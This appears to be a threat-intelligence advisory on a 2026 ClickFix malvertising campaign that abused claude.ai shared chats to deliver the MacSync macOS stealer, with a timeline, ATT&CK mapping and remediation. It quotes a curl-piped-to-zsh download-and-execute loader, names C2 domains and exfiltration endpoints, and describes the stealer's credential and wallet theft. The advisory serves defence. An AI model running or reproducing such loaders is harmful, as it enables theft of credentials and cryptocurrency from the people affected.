Threat Actors Abuse claude.ai Shared Chat Feature for ClickFix Malvertising Campaign Delivering MacSync Stealer
Threat Actors Abuse claude.ai Shared Chat Feature for (TL-2026-2241), also tracked as ClaudeFix, is a high-severity malware campaign, first published 2026-08-30. It is linked to a Russia-nexus actor with low confidence, affects Apple macOS, maps to 15 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 22 indicators of compromise.
Key facts for TL-2026-2241
- Threat ID
- TL-2026-2241
- Also known as
- ClaudeFix
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-08-30
- Last reviewed
- 2026-08-30
- Attribution confidence
- LOW
- Nation-state nexus
- Russia
- Motivation
- FINANCIAL
- Target sectors
- technology
- Target regions
- Asia-Pacific, taiwan, japan, singapore, india, france, italy
- Detection rules
- 9
- Indicators of compromise
- 22
Malware and tooling in Threat Actors Abuse claude.ai Shared Chat Feature for
Malware and tooling: MacSync Stealer
Between April 8 and June 14, 2026, TrendAI Research tracked a seven-week, six-wave malvertising campaign that hijacked Google Ads searches for AI developer tools (Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, JetBrains) and pivoted from self-hosted GitLab Pages to legitimate claude.ai shared-chat links to host ClickFix terminal-command instructions on a trusted domain. The campaign delivered the macOS-targeting MacSync infostealer to 2,000+ victims (67.2% APAC, 30.5% Taiwan), harvesting browser credentials, cookies, SSH keys, AWS/Kubernetes configs, cryptocurrency wallets and Telegram data before Anthropic banned the responsible accounts and disabled the malicious shared conversations.
How Threat Actors Abuse claude.ai Shared Chat Feature for works
TrendAI Research (Trend Micro) documented a sustained Google Ads malvertising operation running April 8 - June 14, 2026 across six attack waves and 106 unique malicious hostnames. The campaign impersonated at least six brands relevant to AI-assisted developers - ChatGPT Codex, Perplexity, Cursor IDE, JetBrains, and Claude AI/claude.ai - by purchasing sponsored search results for queries such as "claude download" and "claude mac," exploiting the fact that technically skilled users are more likely to trust and execute terminal instructions without suspicion.
Waves 1-4 (April 8 - early May 2026) hosted fake installer and "Mac cleanup" landing pages on 92+ GitLab Pages subdomains (e.g. claude-code-app.gitlab.io, chatgpt-codex.gitlab.io). Beginning with Wave 5 (May 6-14), the operators pivoted to abusing claude.ai's legitimate shared-conversation feature: they set the Claude account display name to "Apple Support" (and later a "Corda Team" persona) and published shared chats containing step-by-step ClickFix instructions for opening Terminal and pasting a Base64-encoded command. By Wave 6 (May 21 - June 14) the campaign had abandoned GitLab infrastructure entirely, using 45 to 61+ distinct claude.ai shared-conversation IDs to host the lure - because the payload now resolved from a fully trusted, Safe-Browsing-exempt domain, it evaded the browser and search-engine warnings that would normally flag a freshly registered malicious host.
The ClickFix command decodes to a curl-piped-to-zsh loader (observed pattern: `curl -kfsSL $(echo '<base64>' | base64 -D) | zsh`) that retrieves a Base64+gzip-packed second-stage script from a C2 host (Zscaler's overlapping June 12-19 sub-wave, dubbed "ClaudeFix," used lasvegaslaminateflooring.com among 170+ hosting domains). That script authenticates to a `/dynamic?txd=<token>` endpoint with a hardcoded API key and fetches a fileless AppleScript payload executed via the Apple-signed `osascript` interpreter, leaving minimal disk artifacts. The AppleScript is MacSync, a Malware-as-a-Service macOS infostealer first tracked since November 2025 across prior ClickFix waves that impersonated OpenAI ChatGPT Atlas and abused chatgpt.com shared-conversation links. MacSync enumerates running processes and system information, then harvests Keychain data, Chromium/Firefox browser credentials and cookies, SSH keys, AWS and Kubernetes configuration files, Telegram Desktop data, shell history, and targeted file extensions (.wallet, .key, .seed, .kdbx, .pem), alongside 80-130+ browser-extension cryptocurrency wallets and desktop wallets (Exodus, Electrum, Bitcoin, Monero, Litecoin); later MacSync variants also trojanize the Ledger hardware-wallet application to capture seed phrases. Stolen data is staged under `/tmp/sync<7-digit-random>/`, archived to `/tmp/osalogging.zip`, and exfiltrated via HTTP PUT in 10MB chunks (up to 8 retries) to a `/gate?buildtxd=...&upload_id=...&chunk_index=...&total_chunks=...` endpoint, with wallet-specific data routed through `/ledger/` and `/trezor/` paths. Observed evasion includes Base64/gzip obfuscation, output redirection to /dev/null, a Russian-keyboard-layout check that skips execution on likely CIS-region hosts, and (in related MacSync iterations) abuse of Apple code-signing/notarization to suppress Gatekeeper warnings entirely. Persistence is achieved by appending the download-and-execute command to `~/.zshrc`, re-triggering on each new terminal session.
Victim telemetry skewed heavily toward Asia-Pacific (67.2%), led by Taiwan (30.5%, 772 confirmed interactions), Japan (201) and Singapore (188), with later waves expanding into India, France and Italy. Russian-language comments found in campaign-tracking code, combined with the CIS-region exclusion logic, point toward a Russian-speaking criminal operator running MacSync as a MaaS offering rather than a nation-state actor. Upon notification by TrendAI Research, Anthropic investigated, banned the accounts responsible, disabled the malicious shared conversations, and stated it is implementing additional abuse mitigations for the shared-chat feature; because MacSync's operators have rotated infrastructure across at least three prior campaign iterations (Nov 2025, Dec 2025, Feb 2026 - the last of which targeted U.S. SLTT government macOS users) before this wave, recurrence via the same or another trusted-platform vector remains likely.
MITRE ATT&CK techniques used in TL-2026-2241
Collection
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1497 Virtualization/Sandbox Evasion
Execution
T1059 Command and Scripting Interpreter; T1204 User Execution
Discovery
T1082 System Information Discovery
Credential Access
T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores
Persistence
T1546 Event Triggered Execution
defense-impairment
Initial Access
Resource Development
Affected products and versions in Threat Actors Abuse claude.ai Shared Chat Feature for
- Apple — macOS
Vulnerable versions: all supported versions - delivered via social engineering, not a software vulnerability - Anthropic — claude.ai Shared Chat feature
Vulnerable versions: abused April 8 - June 14, 2026; Anthropic has since banned the responsible accounts, disabled the malicious shared conversations, and is implementing additional abuse mitigations
Remediation for Threat Actors Abuse claude.ai Shared Chat Feature for
Immediate actions
- Block known malicious infrastructure at DNS/web proxy: GitLab Pages subdomains used in Waves 1-4, and C2 domains including lasvegaslaminateflooring.com, filegrowthlabs.com, mansfieldpediatrics.com, and houstongaragedoorinstallers.com
- Identify and alert users who clicked sponsored Google Ads for Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, or JetBrains between April 8 and June 14, 2026, or who opened a claude.ai shared-chat link from an unsolicited ad
- On any macOS host where a Terminal command was pasted from a webpage or shared chat, treat the endpoint as compromised: rotate SSH keys, AWS/Kubernetes credentials, browser-saved passwords, and any cryptocurrency wallet keys, and inspect ~/.zshrc for an appended download-and-execute line
Workarounds
- Restrict or disable AppleScript/osascript execution for standard (non-developer) macOS users where operationally feasible
- Disable or heavily scrutinize sponsored search results for software-download queries in corporate browsing policy/DNS filtering
Longer-term hardening
- Train users - especially developers and technically proficient staff who are the deliberate targets of this campaign - on ClickFix social engineering: never paste or execute Terminal/PowerShell commands sourced from a webpage, advertisement, or shared chat link, regardless of the hosting domain's trust reputation
- Deploy EDR monitoring for osascript/AppleScript execution chains, curl-piped-to-shell invocations, and outbound HTTP PUT traffic in fixed-size chunks characteristic of stealer exfiltration
- Apply application allow-listing on managed macOS fleets to prevent ad hoc script execution outside of approved software management channels
- Treat trusted-platform user-generated-content features (shared chats, shared conversations, code-hosting pages) as an untrusted delivery vector for security tooling, independent of the hosting domain's overall reputation
Timeline of Threat Actors Abuse claude.ai Shared Chat Feature for
- First documented MacSync ClickFix wave impersonates OpenAI's ChatGPT Atlas browser via Google sponsored search, directing victims to fake Google Sites download pages that prompt Terminal command execution.
- Second MacSync wave abuses legitimate ChatGPT shared-conversation links (chatgpt.com/share/...) to host Mac-maintenance-themed ClickFix instructions, driving 18,000+ clicks in three days before redirecting to GitHub-themed installer pages.
- Third MacSync iteration adopts a Loader-as-a-Service model with in-memory AppleScript payloads, targets U.S. SLTT government macOS users, and expands to Belgium, India, and North/South America; CIS/MS-ISAC disseminates 1,000+ associated IOCs to members.
- TrendAI Research's tracked campaign begins: Google Ads hijack searches for Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, and JetBrains, funneling victims to 92+ malicious GitLab Pages subdomains across Waves 1-4.
- Wave 5 (May 6-14): operators pivot from self-hosted GitLab Pages to abusing claude.ai's legitimate shared-chat feature, setting the Claude account display name to "Apple Support" to host ClickFix terminal instructions on a fully trusted domain.
- Wave 6 (May 21 - June 14): campaign fully abandons GitLab infrastructure; 45 to 61+ unique claude.ai shared-conversation IDs are identified hosting ClickFix payloads, alongside a newly observed "Corda Team" impersonation persona.
- Zscaler documents an overlapping short-lived sub-wave (June 12-19), dubbed "ClaudeFix," using C2 domain lasvegaslaminateflooring.com among 170+ hosting domains and a multi-stage curl-to-zsh-to-AppleScript loader chain.
- Tracked campaign activity window closes; TrendAI Research reports totals of 106 unique malicious hostnames across six waves, 45-60+ abused claude.ai shared-chat instances, and 2,000+ confirmed victims (67.2% APAC, 30.5% Taiwan).
- Trend Micro publishes its technical research; Anthropic confirms it investigated, banned the responsible accounts, disabled the malicious shared conversations, and is implementing additional abuse mitigations for the shared-chat feature.
Sources cited for Threat Actors Abuse claude.ai Shared Chat Feature for
- Threat Actors Abuse claude.ai Shared Chat for ClickFix Malvertising Campaign
- Hackers Abuse Claude.ai Shared Chat Feature to Host the ClickFix Social Engineering Instructions
- Hackers Abuse Shared Claude Chats and Google Ads to Deploy MacSync Stealer on macOS
- ClaudeFix: Shared Claude Chats Meet ClickFix
- MacSync Stealer malware bypasses macOS Gatekeeper security warnings
- Attackers abuse Google Ads, GitLab, and Claude to deliver malware
- ClickFix Campaigns Spread MacSync macOS Infostealer via Fake AI Tool Installers
- ThreatsDay Bulletin: Claude Chat Abuse, NastyC2 npm Packages, Device-Code Phishing + 25 More Stories
- MacSync Stealer: How a MaaS Infostealer Is Quietly Draining macOS Endpoints
- MacSync Stealer Campaign Impacting U.S. SLTT macOS Users
- AI Coding Tools Under Fire: Mapping the Malvertising Campaigns Targeting the Vibe Coding Ecosystem
- Malvertising Campaign Abuses Claude.ai Shared Chat Feature for Social Engineering Attacks
More in malware
- Macfinger ClickFix Campaign Delivers Atomic macOS Stealer (AMOS) via Fake Verification Prompts
- ClosedQuorum: Go-Based Windows Implant Delegates Post-Compromise Decisions to a Four-Model LLM Voting Panel
- Cisco Talos Open-Sources CAIRN to Hunt AI-Integrated Malware; Discloses CLOSEDQUORUM, First Documented AI-Orchestrated C2 Implant
- Larva-25012 Resumes Proxyware Distribution Campaign via DPLoader-Infected Systems
- Trusted AI Platforms Weaponized as Malware Distribution Channels: Claude Artifacts, ChatGPT, and Grok Abused Across SectopRAT, MacSync, and AMOS Campaigns
Detection coverage for TL-2026-2241
As of 2026-08-30, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2241 across Splunk SPL, Microsoft KQL and Sigma, covering 22 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.
Community OSINT corroboration for TL-2026-2241
1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.